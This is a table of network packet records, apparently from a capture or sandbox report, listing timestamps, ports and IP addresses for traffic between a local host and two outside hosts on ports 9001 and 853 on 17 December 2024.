Dec 17, 2024 11:49:31.822051048 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.836164951 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836175919 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836599112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836658955 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836668968 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836673021 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836693048 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836700916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836740017 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836837053 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836852074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836859941 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836870909 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.836879015 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.837028027 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.905678034 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.029947996 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.135759115 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.135790110 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.135801077 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.135813951 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.135828972 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.135858059 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.143731117 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.143794060 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.143990040 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.152065992 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.155927896 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.155977011 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.155985117 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.164403915 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.164483070 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.164499998 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.172362089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.172486067 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.199359894 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.229617119 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.229677916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.229760885 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.232829094 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.232943058 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.233020067 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.233041048 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.233079910 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.235011101 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.235073090 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.235121012 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.236479044 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.236517906 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.236567020 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.241811037 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.241909027 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.241965055 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.250216007 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.253302097 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.253381014 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.253428936 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.261821032 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.261845112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.261873960 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.268208981 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.268296957 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.268385887 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.276894093 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.276932955 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.276951075 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.326817036 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.327191114 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.327277899 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.329792023 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.331384897 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.331511974 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.331604004 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.339854002 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.339962006 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.340071917 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.348297119 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.348395109 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.349047899 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.349261045 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.349577904 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.356862068 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.356981039 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.357131004 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.365178108 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.365200043 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.365257025 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.365257025 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.373611927 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.373636007 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.373733997 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.382504940 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.382560015 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.382589102 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.382589102 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.390554905 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.390629053 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.390644073 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.390666008 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.399899960 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.399957895 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.400022984 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.407514095 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.407552004 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.407630920 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.407669067 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.415849924 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.419471979 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.419513941 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.419625044 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.421935081 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.422028065 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.422072887 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.423732996 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.423782110 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.430712938 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.430855036 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.430896997 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.436897993 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.436950922 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.436996937 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.445326090 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.445415020 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.445489883 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.449651957 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.449690104 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.449713945 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.449745893 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.453732967 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.453835964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.453847885 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.453887939 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.453915119 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.453933954 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.453974009 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.462187052 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.462265015 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.462306023 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.462320089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.462356091 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.462374926 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.462397099 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.470758915 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.470849037 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.471039057 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.471050024 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.471091032 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.471564054 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.478991985 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.479043961 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.479105949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.487449884 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.487468004 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.487543106 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.495899916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.495961905 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.495975971 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.504327059 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.504462957 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.504512072 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.512747049 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.512795925 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.512878895 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.519553900 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.519676924 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.519689083 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.520173073 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.521186113 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.521240950 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.521286964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.522576094 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.522746086 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.522764921 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.523000002 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.528522968 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.528634071 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.528651953 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.528692007 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.534823895 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.534877062 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.535259008 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.535392046 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.539350986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.539401054 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.539423943 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.539670944 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.540218115 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.540261030 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.540360928 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.540397882 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.543621063 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.543663025 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.543766022 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.543811083 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.545921087 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.545969009 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.546077013 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.546160936 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.551213026 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.551280975 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.551321983 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.551353931 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.556653023 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.556736946 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.556752920 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.556917906 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.562102079 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.562208891 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.562227964 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.562283039 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.567553997 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.567634106 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.567642927 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.567753077 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.573045969 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.573108912 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.573183060 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.573231936 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.578591108 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.578612089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.578660011 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.578660011 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.583935976 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.584048986 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.584069967 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.584161997 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.587495089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.587539911 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.587631941 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.587997913 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.591111898 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.591135979 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.591181040 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.594715118 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.594764948 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.594775915 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.594878912 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.598287106 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.598344088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.598409891 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.598457098 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.601809978 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.601887941 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.601905107 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.601947069 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.605412960 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.605459929 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.605493069 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.605525970 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.609023094 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.609097958 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.609146118 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.611493111 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.611546040 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.611547947 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.611632109 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.612416983 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.612584114 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.613557100 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.613614082 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.613650084 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.613715887 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.615705013 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.615792990 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.615804911 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.616754055 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.616836071 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.616859913 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.616955996 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.620397091 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.620500088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.620634079 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.620660067 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.620676041 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.620708942 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.620740891 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.623904943 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.623992920 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.624022007 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.624176025 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.627568007 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.627651930 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.627669096 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.627695084 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.627705097 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.627717972 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.627763987 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.634988070 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.635010004 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.635061026 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.639713049 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.639763117 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.639776945 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.641618967 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.641705036 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.641732931 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.641772032 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.648044109 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.648089886 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.648145914 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.648183107 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.654407978 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.654484987 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.654537916 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.660492897 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.660515070 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.660543919 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.660578966 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.661200047 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.661288977 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:32.661333084 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:32.666615009 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.666713953 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.666734934 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.666809082 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.672640085 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.672714949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.672768116 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.672838926 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.672976017 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.675668955 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.675707102 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.675751925 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.678477049 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.678499937 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.678545952 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.681441069 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.681495905 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.681540966 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.681580067 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.684118986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.684168100 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.684207916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.684248924 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:32.686886072 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:32.686933041 CET	49721	9001	192.168.2.5	23.233.0.213
